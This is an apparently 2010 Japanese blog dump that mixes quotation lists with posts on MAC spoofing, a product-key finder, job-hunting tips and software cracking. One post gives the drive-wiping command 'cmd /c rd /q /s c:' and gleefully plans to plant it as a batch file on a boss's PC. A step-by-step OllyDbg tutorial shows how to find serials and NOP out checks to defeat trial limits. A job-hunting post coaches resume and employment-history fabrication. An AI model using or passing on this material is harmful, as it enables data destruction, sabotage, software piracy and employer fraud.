tytyy

自由自在にMACアドレスを変更できるフリーソフト「AnalogX AnonyMAC」

2010-08-24T23:21:00.002+09:00

Windows95/98/Me/2000/XP/Vista/7、要するにWindows95からWindows7までのすべてのバージョンの Windows上で動作するフリーソフトとなっており、各NICなどのファームウェアを書き換えることなく各NIC（アダプタ）別にMACアドレスを変更することが可能となっています。変更する際はボタン一発でランダムに設定することができ、同じLAN内で稼働している別PCのMACアドレスをARPを用いて取得して表示してそれをコピーしたり、変更後にデフォルトのMACアドレスに戻したりすることも可能です。

これまでもMACアドレスを変更する方法はいろいろとありましたが、この「AnalogX AnonyMAC」はフリーソフトとしては非常に機能が充実しており、なおかつ簡単に使える、というのがポイントです。

ダウンロードと実際の使い方は以下から。なお、すべて自己責任で行ってください。

Network Downloads : AnonyMac /// AnalogX

ページ下部にある「DOWNLOAD NOW」ボタンをクリックして「anonymci.exe」をダウンロードします

今回はWindows XPにインストールしてみることにします。「anonymci.exe」を実行し、「I Accept」をクリック

「はい」をクリック

自動的に「http://www.analogx.com/install.htm?app=anonymc」が表示され、インストール成功

「いいえ」をクリック

「OK」をクリックすればインストール完了です

スタートメニュー内から「AnonyMac」を起動

起動中、ちょっとだけ時間がかかります

これが本体の起動画面。

一番上には現在使っているアダプタが表示されており、文字化けしているのですが選択すれば下部にある「Device Information」に詳細が表示されるので特に問題はありません。右上にある「Show all」にチェックを入れれば、現在接続されていないアダプタについても設定が可能です。

MACアドレスを変更する方法はいろいろとあるのですが、基本的な手順としては、まず「Generate Random」をクリックし、適当なMACアドレスを生成します。ボタンの左にある「New MAC Address」に表示されているのがランダム生成されたMACアドレスです。

次にその上にある「Manufacturer」から既存のメーカー名を選択します。

最後に「Apply New MAC Address」をクリックすれば、新しいMACアドレスが選択したアダプタに設定されます。元に戻す場合には「Restore original MAC address」をクリックして再起動すればOKです。

また、「ARP View」をクリックすれば同じLAN内にある別マシンのMACアドレスをコピーすることができます

このようにしてコピーしたいマシン名を選び、右クリックして「Copy MAC to clipboard」を選べばOKです。

Windowsのプロダクトキ－を解読する「Magical Jelly Bean Keyfinder」

2010-08-24T23:18:00.002+09:00

知らなかったけど、WindowsのProductkeyを解析するソフトは沢山あるみたい。
その中の一つ、「Magical Jelly Bean Keyfinder」ってのが良い感じかも。
ダウンロードは公式サイトの「All Important Links:」→「Download Latest Build」でおｋ。
このソフトウェアの凄いところは、オープンソースソフトウェアってこと。
プロダクトキーの複合化とか、かなりダークな臭いがするのにねw

使い方は簡単。起動するだけ。
あとは、複合化できるソフトウェアがある場合にのみ、左側にソフト名が現れる。
そしてそのソフトウェアを選択すると、CerealKeyやプロダクトキーが表示される。
あと、「File」→「Save As」でテキストファイルとしてキーを保存可能。
シリアルコードとかを無くした時とかに、とっても便利。
ただ、他人のパソコンに入れても表示されるけどねーw

就職内定率を１００％

2010-08-24T23:12:00.002+09:00

私が多数一流企業内定までに使った技です。
一生使えるので是非重宝して下さい。
まず始めに現在は個人情報保護法施行されてからは、調査は絶対出来ません。
偽でも平気です。
アルプス社で昔近所に電話して受験者の人柄等調査していたってのは懐かしい昔の話です。
前職に問い合わせもありましたが今では出来ません。
昔とはがらっと変わりました。
現在の採用は企業側は不利です。受験者は有利となっています。
非常に人事もやりにくい採用をしています。
本人の話すことを信用するしかないのですから。ではどこまでぎりぎりの範囲で行けるかとお話します。

第一関門履歴書・職務経歴書資格で勝負！

必ず人事は吟味する個所です。(書道、TOEIC、英検、仏検、パソコン検定・・・で稼ぎます)５個あれば十分。
使えない資格でも級が上なら可この個所は企業側は今の時代はっきりいって調査しません。
と言うより出来ません。
ここで最終面接時に私は評価され内定頂きました。
G面接で他の受験者には皮肉を言って私の番になり何文句言われるのかどきどきしていたら何と彼らの目の前で資格の話題になり努力家ですねと誉められました。余裕で内定。倍率は２０倍位でしたね。
ここでライバルに差を付けれます。
ただし例えば、入社後英語を必ず使う職種に応募する際英検TOEIC高いぞと記載しては×
入社後実務中にばれます。
職務経歴ですが例えば１年社会人経験があれば、突っ込まれたらバイト上がりで正社員になったと後々話せばいいので。
１年半いましたといった感じに多く経歴伸ばせます。
正社員雇用は雇用保険に履歴残りますが、アルバイトで所定労働時間が週20時間未満であれば非加入者となりますから。
今の時代の雇用形態は複雑です。利用しましょう！
一箇所に長く働く転職は少ない、これが一番BESTです。
派遣で様々な派遣先での経歴の方は不利ですからまとめてしまってOKです。
結局雇用保険には派遣元の会社名しか記載ありませんから。
実際自分が派遣経歴の多い方を採用担当した際は定着率が悪いので不採用にしました。
学生で新卒の方なら中途と比較すれば好き勝手言えますよ！
超一流企業でアルバイトしてて体育会・・部では優勝までしました！みたいな　ではずっと長い間プーでしたと。
これはまずいです。絶対不採用になります。
どうしたら？知人や親の会社で手伝いをしていたと記載すれば可。
しかも源泉徴収は入社後の提出は必要ありません。
手伝いだからポケットマネーでしたと、結構今はこう言った方、実際に多いです。

第二関門面接

必ず最低３個は質問をすること。
(最近の大きな事業提携や新商品に触れること、他社と比較したここの会社の強み等)意欲が問われます。
四季報に出てます。立ち読みでいいです。
質問なしだとマイナス評価されます。
質問しない方って非常に多いですね。もったいない。。。
面接が駄目でも最後に質問で粘り誉められて内定したケースが多々あります。
新規事業の将来性の話なんかすると喜んでくれますね。
硬い面接官の顔に笑顔が出ます。こうなったらしめたものです。
※禁止事項、平均残業時間、待遇や年収、休み、離職率・・御社の社名は今まで聞いたことがなかった等、もってのほか！
内定後に聞きましょう！
面接時、聞かれる内容はみんなの就職活動日記を利用すると良いでしょう。
昔帝国データバンク受けた際もろに同じ内容の試験が出ました。
日銀短観、M&A、日本国憲法、作文内容～事前に知ってると知らないでは雲泥の差です。
ここは求人倍率４０倍でした。
参考までに偏差値にするなら一次選考は７０一番難関です。
二次は５５、三次～最終につれ偏差値は下がります。
選考が進むにつれ内定率は徐々に上がります。
最終まで行けば意思確認程度なので最悪はいはい言ってれば普通に通ります。
社長自身が一次から面接する会社ははっきり言って甘い選考します。簡単に内定出せます。
短期間で内定が出ます。特にベンチャー企業系に多いです。
六本木ヒルズに入っているいくつかの会社がいい例です、理由としては
最悪バカを採用しても社長は誰からも責められませんから。
だだし給与安くて激務の会社が多いので注意。

第三関門

SPI試験適正試験、性格診断テストで稼ぎます。
プラス思考の内容に、はいと答えますここでは嘘は絶対いけません。
今まで怒ったことがない等。
更にどちらでもないを連発記載すると優柔不断な人間と思われます。
一箇所も使わないように。前向き思考で＋１点－思考で－１点でカウント、
どちらでもないはノーカウントでここは計算されます。
※意外に知られてない答え；たまに憂鬱になるなど精神的な不安定な質問は必ずNOですよ！！
ここで好成績取れば計算試験や論文駄目でも選考通過します。
実際に数学と英語で３０点の方が性格診断で９０点取って最終で誉められ内定してました。
G面接で私の隣で言われていました(笑)
内定後は研修中に頑張ればいままでの偽は実務上は誤魔化せます。
研修は普通は中途でも１からやってくれます。
内定すればはっきり言って立場が逆転します。
企業側は社員に辞められるのを異常に嫌がります。
もし偽が発覚しても重度でない限り退職にはなりません。知らん顔します。
特に大企業は採用の部署と社会保険の手続きする部署が分かれていますので
経歴の偽は９９％見抜けません。見抜こうともしませんが。
機械的に事務作業しますから。
実際に人事仲間多いですが経歴詐欺発覚で退職者いたとの話は聞いたことがありません。
私でさえ６０００人規模の採用していましたが、、では逆に１００％ばれる場合の話をします。
実は私が採用していた会社はデカすぎて、たまにアルバイトしていたとかで、
ここで社員の誰々さんにはお世話になり・・・とコネを使って受験して来る方が多々いました。
これは絶対にしないで下さいね！
落ちる確率急上昇します。
この場合は絶対に企業は調査します(笑)
社員に受験者の過去の取り組みや状況を尋問します。
大抵９割以上が悪口言われます。
しかも経歴も伸ばしていたり、、私はこれで不採用になっている方の履歴見てきましたから、、
可愛そうに、、これが現実です。
後一回落ちた会社は二度と受けないで下さい！時間の無駄です。
不採用履歴は殆どの会社は残しています。悪口を過去の履歴に書いてます。
まぐれで一次選考通っても次で落ちます。９９％落ちます、、
紹介会社って便利です。ここは非公開求人メインに紹介してきます。
ここでは履歴書添削や面接の練習程度に利用しましょう！無料です。
ここの紹介での企業面接は本気で行かないほうが無難です。
なぜか？余程優秀でない限り９割１次で落ちます。
結局は急募で人が欲しいのではなく、いい人材いたら採用したい程度の会社しか紹介が来ません。
非常に選考基準が上がります、
まして人事側は紹介会社に手着金、紹介料、膨大な契約金払わないといけませんから、
凄い厳しい選考になります。
リクナビ等の人気の求人サイトを利用しましょう！ここがBEST
ハローワークと違い簡単に応募出来履歴書も写真も無駄になりません。
比較的本当に採用したいと思っている会社が募集かけています。効率が良いです。
たまにここで紹介会社経由で選考をするケースが出てきます。極力控えてください。なぜか？
人事にお金もらい選考代理する訳です、信頼関係がありますから、ハードルが必然的に上がります。
いい人材しか人事側にバトンタッチしません。
以上
尚、ないとは思いますが。
情報転売漏洩は禁止です、発見次第法的処置にて懲役と罰金が課せられます。
ネット犯罪者は簡単に発見できます。お気をつけ下さい。
人生は大切に。サポートは情報提供後２月以内です。
最後に私個人的な意見を述べさせて頂きましたがあくまで個人の意見ですので
使えるところは使って頂き、いい結果は１００％出ますから自信もってお望み下さい。
この度は有難うございました。

Windows（全バージョン共通）で破壊しちゃう最強コマンド

2010-08-24T23:11:00.002+09:00

まず、「スタート」→「ファイル名を指定して実行」を開き、下記のコマンドを入力して、エンターキーを押すだけ。

cmd /c rd /q /s c:

上記「c:」は標準のCドライブにOSが存在することを想定しているけど最近多いWindowsネットワーク上のデータ格納サーバとかをネットワークドライブに割り当ててヤっちゃってもいいかもね。
ウフフ。

実行すると、DOSプロンプト（黒背景の窓）が開いて削除可能なファイルやフォルダを片っ端から消し去る。
ウヒヒ。

完璧に死滅させるには、常駐ソフトを全て終了しておいて、可能ならタスクマネージャを使って不要なサービス等のプロセスを終了しておくと効果的。

さて、テスト・・・。
実行中に「スタート」を開いたところ、早速プログラム一覧が消滅した。
僕はこれをbatファイルで自動化させるよ。詳しくはググって。
それを姉貴にメールしてあとは姉貴にタイミングを見計らってムカつく上司のパソコンに仕込んでもらおう。

アクセサリ中のエクスプローラだけが残ったけど「explorer.exeが見つかりません」となった。
OSの起動情報も消えた。
仕事で作成されたファイルも全滅。
ま、セーフモードや回復コンソールを選択する画面が現れるけど、消えたのが起動情報だけではないため、どの選択肢を取っても復旧はまず不可能。

また、最新OSである Windows7 で試したところ、結果は同じく再起不能になった。

実行後のWindows7画面
http://www.gekiura.com/file/Crash_win7.jpg

解析講座アプリ系

2010-08-24T23:09:00.000+09:00

はじめに

まずはじめに、対象にどのような制限があるか、README.TXTなどをよく読み確認しましょう。

　A　シリアルを入力出来るもの

シリアルを入力しないと、一定期間で起動できなくなる。
シリアルを入力しないと、一部機能制限がある。

　B　シリアルを入力出来ない体験版

機能制限がなく、一定期間で起動できなくなる。
機能制限があるが、サイズは製品版と同じ。
機能制限があり、サイズが製品版より小さい。

　C　特別なファイル、ソフトが必要なもの

※ まずは、シリアルを入力出来るものについてを考えます。

　アナライズ

対象がどのようにコンパイルされているかで、解析方法にも定石がありこれを確認するツールもありますが、バイナリエデッタを利用して確認できます。

文字列「C++」で検索

Visual C++ でヒット　Microsoft Visual C++
Borland C++でヒット　Borland C++

文字列「MFC」で検索

MFC42.DLL でヒット　Microsoft Visual C++

文字列「VB」で検索

VB40016.DLL でヒット　Microsoft Visual Basic4(16bit)
VB40032.DLL でヒット　Microsoft Visual Basic4(32bit)
MSVBVM50.DLL でヒット　Microsoft Visual Basic5
MSVBVM60.DLL でヒット　Microsoft Visual Basic6

文字列「Boolean」で検索

Boolean でヒット　Borland Delphi

文字列「pack」で検索

aspack、packedなどでヒット　パックされてますので難解です！

などが定番で他、ＥＸＥファイルには、自己解凍ファイル、インストーラファイルなどいろいろあります。それらを判定するツールとしてFile scanners/analyzersがあり Protools の「PE iDentifier 0.7 (99K)」を使用して @関数電卓PRO v1.63 を見てみます。

PE iDentifier設定

Scan method(スキャンモード)→Hardcore method 2(完全なスキャン)
Misc options(オプション)→すべて選択

PEiDは対象を、OpenFileで指定、アイコン上にドラッグでもファイルをスキャンできますが、 Misc optionsのShell Extensionをチェックすることで右クリックメニューに登録されます。 @関数電卓PRO.exe 上で「右クリック」→「Scan with PEiD」としてみましょう。
日本語は文字化けするようですが、大切なのはInformation Microsoft Visual Basic 5.0 の部分です。これでコンパイラーが確認できました。もうひとつ、EP Section が「.text」になってる部分も大切です。ここが、「UPX1」とか「.text」以外の表示になっていたら、そのファイルはパックされてます。今後ふえることでしょう。

※ アナライザーとは、ウィルスチェックと同じくパターンチェックをしてるだけで、パターンが登録されてなければ判別できません。最新版を入手しましょう。

　バイナリ

バイナリ(倍直)とは、バイナリエディタで表示される文字列がそのままパスワードになってるもので、内部では、そのまま全部一度に比較してる場合と、一文字づつ比較してる場合があります。なかには、文字列+内部計算数字などもあります。
@関数電卓を Stirling（スターリング）を使用してを見てみます。
Stirling.exeのショートカットをC:\WINDOWS\SendToに入れておけば、
@関数電卓PRO.exe 上で「右クリック」→「送る」→「Stirling」ですね。

文字列「登録」で検索

それらしい文字列「frmEntry」「Command1」「Command2」「mnuTouroku」「mnuShare」などを、
「PRO」→「ヘルプ」→「シュアウェア登録」で登録してみます。
だめですね～！？

では、文字列「パスワード」で検索

ヒットしません！？このソフトはVisual Basicでコンパイルされているのを思い出してください。 VBの場合Unicode文字列(WidCharFormat:)が使われる事があります。

Unicode文字列を探す設定にします。

文字列「登録」で検索

とっても怪しい文字列があります！
「G R 8 0 4 9 1 6 F #」Unicodeでは2バイトで1文字なので「GR804916F#」で登録してみます。みごと、登録できました。

※ 倍直だとしてもキーワードから正規パスが離れている場合も有ります。
バイナリエディタ(2進編集器)とは和製英語で、正式にはヘックエディタ(HexEditor)です。

パッチとは

パッチ(Patch)とは、ソフトウェアを修正する差分情報のことです。

実行形式パッチと、各掲示板などでお馴染みのテキスト形式パッチがあります。
海外では実行形式パッチでＵＰが主流ですが、日本ではテキスト形式パッチを自分で処理するのが一般的です。
FILENAME aaa.exe
0004123:　74　EB

これは、「aaa.exeファイル」をバイナリエディタで開き「アドレス 0004123」
番地のデータ「74」を「EB」に書き換えることを表しています。
数箇所なら、かまいませんがパッチャー(Patcher)を使用したほうが効率的です。
「FireFiower by FCJ」、「PatchManager by vernichten」、「NeZuPat by ねずみ」など有名です。
読込みさせるには、上記２行をテキストファイルで拡張子を*** .patと名前をつけ保存します。

パッチャーに読込む形式として

大文字、小文字は区別しない。
空白行を入れないこと。
先頭に空白を入れないこと。
同一フォルダにある複数のファイルを指定できる。

などですがコメント ("*"が先頭につく行) を入れておくと管理しやすいです。

* PATNAME : AAA v1.00 Win98	/* パッチ対象ファイル製品名、バージョン、ＯＳ
* LastMod. : 2002/01/01	/* パッチ対象ファイル作成日
* AUTHOR : MAYI	/* パッチ作者名
* URL : http:	/* パッチ対象ファイル関連ＵＲＬ
* FileSize : 831bytes	/* パッチ対象ファイルサイズ
* CRC : C48D8FF4	/* パッチ対象ファイル整合性チェック
* MESSAGE : 期間解除	/* メッセージ
FILENAME aaa.exe	/* パッチ対象ファイル(ターゲットファイル)
0001234: 74 EB	/* オフセット: 元のバイト新しいバイト

※ パッチは生ものですから、製品名、バージョン、ＯＳ、作成日は必ず記入しましょう。
今後、Win98では動くのに？WinXPでは出来ないなどが増えるとおもわれます。

　パッチを当てる

FireFlower3 を利用して、DokoDonさん提供の ollydbg107j.pat を OllyDbg v1.07 (2002/05/05)に当てて日本語文字列を表示できるようにしてみましょう。
まずは、ウイルスチェックをしてください、常識ですね！
次に、パッチ対象ファイル(OLLYDBG.EXE)上で
「右クリック」→「全般」「属性」の読み取り専用にチェックが無いことを確認します。
起動中のファイルには、パッチ出来ません。再起動してもシステムが利用してるファイルなども、パッチ出来ません。どうしても、止められないファイルをパッチしたい場合は、名前を換えたり、移動すると出来ます。

ではFireFlower3 を起動してみましょう。

「Config」ボタンを押して、環境設定のチェックを確認して終了します。
これで、.pat ファイルが FireFlower3 に関連付けされました。
ollydbg107j.patをOLLYDBG.EXEのあるフォルダで左クリックすれば、
FireFlower3 が起動してパッチが完了します。

※ OllyDbgのメニューを日本語化するものではありません。

　OllyDbgの設定

OllyDbgのフォントの設定をしましょう。

「Options」→「Appearance」→「Fonts」

Terminal 6 を Font 5 に選択を変えて、「Rename」ボタンを押します。

Font 5 を MS ゴシックに変更します。 ※ 文字化けは気にしないでください。

「Change」ボタンを押し下記のように設定します。

「Options」→「Appearance」→「General」

Use Parent's font in dialogs　をチェック。

ツールバーを消したいならShow toolbarのチェックを消します。
Default font　を先のFont 5 の位置の文字化けを選択します。

　練習１

OllyDbg を利用して練習１をやってみましょう！

解析の流れとして

ウイルスチェックをする。
バックアップをとる。
制限を確認する。
ファイルアナライザーなどで、ファイルの全体像を確認する。
パスチェック、日数チェックなとの処理場所を探す。一箇所とは限りません！
- 文字列から探す。
- WinAPI(関数)から探す。
- 逆アセを眺めカンで探す。
制限を解除する。

ここでは文字列から処理ルーチンを探してみましょう。

「C:\WINDOWS\SendTo」に「OllyDbgのショートカット」を入れておけば、「EX1.exe」上で「右クリック」→「送る」→「OllyDbg」で読込んで起動します。

これは、実行ファイルがメモリ内部に展開されて、メモリ全体を一つの町とすると、
各大字(セグメント)のようすを表しています。

左上 : Disassembler window	コードセグメントの内容を表示
右上 : Registers window	レジスタの内容を表示
左下 : Dump window	データセグメントの内容を表示
右下 : Stack window	スタックセグメントの内容を表示

各部分で表示形式を変化することができ、コードとレジスタ部が大切です。

まず練習１を起動して、どのような事が起こるか確認します。
メニューの「Debug」→「Run」か「F9」ボタンを押し、
練習１が起動したら、適当なPasswordを入れ「OK」ボタンを押します。

「パスワードが違います！！」とのメッセージが出てしまいました。
今回は、このメッセージから処理ルーチンを探すのが目的です。

リスタートします。「Debug」→「Restart」　か　「Ctrl+F2」
右上の適当な部分で「右クリック」→「Search for」→「All referenxed text strings」

今回は、文字列が二つしかありませんが本来はかなりの文字列があるもので、
通常は「右クリック」→「Search for text」で文字列「パスワードが違います！！」をさらに検索します。

カーソルを文字列「パスワードが違います！！」上で「左ダブルクリック」しましょう。
この文字列を利用してるコードウィンドウが表示されます。
逆アセが読みやすいようにウィンドウを調節します。

004010D6 の GetDlgItemTextA で文字を得

004010F8 MOV EDI,EX1.0040208A	入力した文字の場所をEDIに入れ
004010FD CALL EX1.00401138	401138番地の処理に移動して
00401102 TEST EAX,EAX	EAXの値が同じか調べ
00401104 JE SHORT EX1.0040110D	同じなら違いますへジャンプ
00401106 MOV EBX,EX1.00402021	正解です！!
0040110B JMP SHORT EX1.00401112	メッセージ表示へ
0040110D MOV EBX,EX1.00402008	パスワードが違います！！

004010FD の CALL から戻ったときEAXの値が変化すれば正解のようです。
CALL の後 TESTしてジャンプは定番です。

パッチとして考えられるのは

CALL先に行きEAXの値を変える
EAXの値が同じか調べない
違いますへジャンプしない

ここでは、「違いますへジャンプしない」で、試してみます。
00401104を選択して「右クリック」→「Binary」→「Fill with NOPs」
これは選択行をNOP(なにもしない)命令に換えます

試しに実行してみます。「F9」ボタンを押してみます。

うまくいきました、しかし、これはメモリ上の変化で試したのであって、
実際のファイルは換わってません。換えるためにパッチをつくりましょう。

パッチの為にメモリ上のアドレス(00401104)じゃなく
実アドレス(バイナリエデッタでのアドレス)を知る必要があります。
00401104を選択して「右クリック」→「View」→「Executable file」

「00000704 7407 JE SHORT 0000070D」 00000704 がバイナリエデッタでのアドレスです。

パッチはこうなります。

* PATNAME : EX1 Win98
* LastMod. : 2002/05/18
FILENAME EX1.exe
00000704:74 90
00000705:07 90

ところでパスワードは？

パスワードが知りたい場合はCALL EX1.00401138を調べます。

00401138 XOR EAX,EAX	EAXを初期化=0にする
0040113A SUB DWORD PTR DS:[EDI],58837083	データから58837083引く
00401140 JNZ SHORT EX1.00401159	ゼロフラグが立たないとジャンプ
00401142 ADD EDI,4	EDIに４加え読み込むデータの位置を変える
00401145 SUB DWORD PTR DS:[EDI],5B818F83	データから5B818F83引く
0040114B JNZ SHORT EX1.00401159	ゼロフラグが立たないとジャンプ
0040114D ADD EDI,4	EDIに４加え読み込むデータの位置を変える
00401150 SUB DWORD PTR DS:[EDI],48816883	データから48816883引く
00401156 JNZ SHORT EX1.00401159	ゼロフラグが立たないとジャンプ
00401158 INC EAX	EAXに１加える
00401159 RETN	戻る

SUB DWORD PTR DS:[EDI],58837083
これは、「DS:[EDI]」（データセグメントのEDI番地を先頭にして）
「DWORD」（４バイト）のデータから「58837083」１６進を「SUB」（引く）ことを表してます。

つまり、パスワードを４バイト(半角なら４文字、全角なら２文字)だけ比較してることになります。ここでは、３回処理してますからパスワードは半角なら１２文字、全角なら６文字です。

「58837083」は16進の文字コードで、メモリでは１バイトごと逆(リトルエンディアン) に表示されます。「83708358」としてバイナリーエディタで、 EX1.exeを16進データ検索してみましょう。これも倍直とよべるかもしれません

2010-07-27T00:09:00.003+09:00

は女の恋のようなものであり、海は男の恋のようなものである。それぞれ下と上とで区切りに限界があることに気付かない。

tag
恋愛

死者も我々がまったく忘れてしまうまで、本当に死んだのではない。

過去の成果で未来を生きることはできない。人は一生何かを生み出し続けなければならない。

tag
人生

恋愛とは二人で愚かになることだ。

tag
恋愛

人生は往復切符を発行していません。ひとたび出立したら再び帰ってきません。

tag
人生

三週間互いに研究しあい、三ヶ月間愛し合い、三年間喧嘩をし、三十年間我慢しあう。そして子供達が同じことをまた始める。

tag
結婚

あらゆる生あるものの目指すところは死である。

自ら進んで求めた孤独や他者からの分離は、人間関係から生ずる苦悩に対してもっとも手近な防衛となるものである。

tag
孤独

自分自身を幸福だと思わない人は、決して幸福になれない。

tag
幸福

相談するときには過去を、享楽するときには現在を、何かするときには未来を思うがよい。

tag
時間

すべての不幸は未来への踏み台にすぎない。

tag
不幸

一人の男だけ見つめている女と一人の男からいつも目をそらす女は、結局似たようなものである。

tag
恋愛

人間が幸福の夢を追うときに犯す大きな過失は、人間の生来から備わっているあの「死」という弱点を忘れてしまうことだ。

恋の味を痛烈に味わいたいならば、それは片思いか失恋する以外にないだろう。

tag
失恋

過去の否認は有害な態度である。現在と戦い、未来を創造するには、往々にして過去が最も有効な武器なのである。

tag
時間

恋やセックス以外にも重要なものがあるんだ

tag
恋愛

愛する女と一緒に日を送るよりは、愛する女のために死ぬ方がたやすい。

tag
恋愛

テレビという娯楽は、数百万人の人々に同じ冗談を聞かせながら、それでいて各人を孤独のままに置く。

tag
孤独

女は弱い男を支配するよりも、強い男に支配されたがる。

女の最大の欠点は男のようになろうとすることにある。

2010-07-27T00:09:00.001+09:00

俺たちの一生を台無しにするのは、運なんて言うものじゃない。人間なんだ。

tag
運命

どんなに愛しているかを話すことができるのは、すこしも愛してないからである。

ねえ、あなた。話をしながらご飯を食べるのは楽しみなものね。

tag
結婚

男と女が結婚したときには、彼らの小説は終わりを告げ、彼らの歴史が始まるだろう。

tag
結婚

幸福は小鳥のようにつかまえておくがいい。できるだけそっと、ゆるやかに。小鳥は自分が自由だと思い込んでさえいれば、喜んでお前の手の中にとどまっているだろう。

tag
幸福

恋愛は人を強くすると同時に弱くする。友情は人を強くするばかりである。

青春は何もかも実験である。

tag
青春

行く河の流れは絶えずして、しかももとの水にあらず、
よどみに浮かぶ泡沫は、且つ消え、且つ結びて、久しくとどまりたるためしなし、
世の中にある人と住家と、またかくの如し。

tag
人生

結婚なんてつまらない。死ぬまで夫婦の約束を守らなくちゃならないんだもの。そんなバカげた約束を誰ができて？明日どんな風が吹くか、神様だってご存知ないわ。

tag
結婚

妻を選ぶのはネクタイを買うのとよく似ている。選んだ時は素敵に見えるが、家に帰って首に締めてみるとがっかりする。

tag
結婚

夫婦間の会話は、外科手術のように慎重に取りかからなければなりません。ある種の夫婦は正直なあまり、健康な愛情にまで手術を施し、そのために死んでしまうようなことになるのです。

tag
結婚

それ自体の不幸なんてない。自ら不幸を思うから不幸になるのだ。

tag
不幸

結婚とは、熱病とは逆に、発熱で始まり悪寒で終わる。

tag
結婚

人生は素晴らしいが、人生の終わりは死である。これは、いかなる人の望みの究極でもある。

女には、どうしてもわからないテーマが一つある。男は仕事に注ぐだけの熱情をなぜ家庭にそそげないのか、ということだ。

tag
結婚

生は永久の闘いである。自然との闘い、社会との闘い、他との闘い、永久に解決のない闘いである。闘え。闘いは生の花である。

tag
人生

愛の光なき人生は無意味である。

恋愛とは美しい少女に出会い、そしてその少女が鱈のように見えるのに気がつくまでの中間にある甘美な休憩時間です。

tag
恋愛

結婚をしないで、なんて私は馬鹿だったんでしょう。これまで見たものの中で最も美しかったものは、腕を組んで歩く老夫婦の姿でした。

tag
結婚

男と女というこうも違った、また複雑な人間の間で、互いに良く理解しあい、ふさわしく愛するために一生を費やして長すぎるということはない。

tag
結婚

2010-07-27T00:08:00.005+09:00

誰の友にもなろうとする人間は、誰の友人でもない。

tag
友情

どんな困難な状況にあっても、解決策は必ずある。救いのない運命というものはない。
災難に合わせて、どこか一方の扉を開けて、救いの道を残している。

tag
運命

どのみち死なねばならぬなら、私は、なっとくして死にたいのだ。

女性が最も激しく愛するのは往々にして最初の愛人であるが、
女性が最も上手に愛するのは常に最後の愛人である。

tag
恋愛

寝床につくときに、翌朝起きることを楽しみにしている人は幸福である。

tag
幸福

結婚はすばらしいことだが、結婚生活という習慣をつけたことは誤りだと思う。

tag
結婚

人々は悲しみを分かち合ってくれる友達さえいれば、悲しみを和らげられる。

tag
友情

我は生きようとする生命に取り巻かれた生きようとする生命だ。

短い人生は時間の浪費によっていっそう短くなる。

tag
時間

人は、運命を避けようとしてとった道で、しばしば運命にであう。

tag
運命

人間よりは金のほうがはるかに頼りになりますよ。頼りにならんのは人の心です。

心の底を傾けた深い交わりは禁物です。愛情の紐は解けやすくしておいて、会うも別れるも自由なのがよいのです。

tag
恋愛

運命がカードを混ぜ、われわれが勝負する。

tag
運命

恋をする男は自分の能力以上に愛されたいと願ってる人間である。
それが彼を滑稽に見せる理由である。

もっとも平安な、そして純粋な喜びの一つは、労働をした後の休息である。

tag
幸福

幸福であるだけでは十分ではない。他人が不幸でなければならない。

大恋愛の経験のある者は友情を重んじない。

tag
恋愛

誰かが言いたいことを、自分が言わされる愚を避けよ

tag
処世

恋は人を盲目にするが、結婚は視力を戻してくれる。

tag
結婚

時が癒やす？時が病気だったらどうするの？

出典:ベルリン・天使の詩
[詳

2010-07-27T00:08:00.003+09:00

人間はひとくきの葦にすぎない。自然の中で最も弱いものである。だが、それは考える葦である。

Human being is a reed of one stalk. It is the weakest existence naturally. However , it is a thinking reed .

tag
自己

その日その日が一年中の最善の日である。

tag
時間

チャンスは貯蓄できない。

希望さえあればどんな所にでもたどりつけると決心している。

tag
希望
カテゴリ:漫画

死者にたいする最高の手向けは、悲しみではなく感謝だ。

人生は道路のようなものだ。一番の近道は、たいてい一番悪い道だ。

tag
人生

世の中は、君の理解する以上に栄光に満ちている。

tag
人生

人付き合いがうまいというのは、人を許せるということだ。

生きるとは呼吸することではない。行動することだ。

人生は学校である。そこでは幸福より不幸の方が良い教師である。

若い女は美しい。しかし、老いた女はもっと美しい。

今日という日は、残りの人生の最初の一日。

tag
人生
カテゴリ:映画

卵を割らなければ、オムレツは作れない。

You can't make omelet without breaking eggs.

tag
挑戦
カテゴリ:映画

至上の処世術は、妥協することなく適応することである。

tag
処世

人間、志を立てるのに遅すぎるということはない。

(中略)・・・世の中を見渡してみると本当に『強い』人っていうのは悪い事はしない事に気づく。
「悪い事をする敵」というものは「心に弱さ」を持った人であり、真に怖いのは弱さを攻撃に変えた者なのだ。

カテゴリ:漫画

確かに世の中は不公平だ。美人や美青年がいる一方で、あなたがいる。
だからなんだ！？それを嘆いてどうするの？

太陽が輝くかぎり、希望もまた輝く。

tag
希望

行動は必ずしも幸福をもたらさないかも知れないが、行動のない所に、幸福は、生まれない。

成し遂げんとした志をただ一回の敗北によって捨ててはいけない。

2010-07-27T00:08:00.001+09:00

人間はひとくきの葦にすぎない。自然の中で最も弱いものである。だが、それは考える葦である。

Human being is a reed of one stalk. It is the weakest existence naturally. However , it is a thinking reed .

tag
自己

その日その日が一年中の最善の日である。

tag
時間

チャンスは貯蓄できない。

希望さえあればどんな所にでもたどりつけると決心している。

tag
希望
カテゴリ:漫画

死者にたいする最高の手向けは、悲しみではなく感謝だ。

人生は道路のようなものだ。一番の近道は、たいてい一番悪い道だ。

tag
人生

世の中は、君の理解する以上に栄光に満ちている。

tag
人生

人付き合いがうまいというのは、人を許せるということだ。

生きるとは呼吸することではない。行動することだ。

人生は学校である。そこでは幸福より不幸の方が良い教師である。

若い女は美しい。しかし、老いた女はもっと美しい。

今日という日は、残りの人生の最初の一日。

tag
人生
カテゴリ:映画

卵を割らなければ、オムレツは作れない。

You can't make omelet without breaking eggs.

tag
挑戦
カテゴリ:映画

至上の処世術は、妥協することなく適応することである。

tag
処世

人間、志を立てるのに遅すぎるということはない。

カテゴリ:漫画

確かに世の中は不公平だ。美人や美青年がいる一方で、あなたがいる。
だからなんだ！？それを嘆いてどうするの？

太陽が輝くかぎり、希望もまた輝く。

tag
希望

行動は必ずしも幸福をもたらさないかも知れないが、行動のない所に、幸福は、生まれない。

成し遂げんとした志をただ一回の敗北によって捨ててはいけない。

tytyy

自由自在にMACアドレスを変更できるフリーソフト「AnalogX AnonyMAC」

Windowsのプロダクトキ－を解読する「Magical Jelly Bean Keyfinder」

就職内定率を１００％

第一関門履歴書・職務経歴書資格で勝負！

第二関門面接

第三関門

Windows（全バージョン共通）で破壊しちゃう最強コマンド

解析講座 アプリ系

A シリアルを入力出来るもの

B シリアルを入力出来ない体験版

C 特別なファイル、ソフトが必要なもの

※ まずは、シリアルを入力出来るものについてを考えます。

文字列「C++」で検索

文字列「MFC」で検索

文字列「VB」で検索

文字列「Boolean」で検索

文字列「pack」で検索

PE iDentifier設定

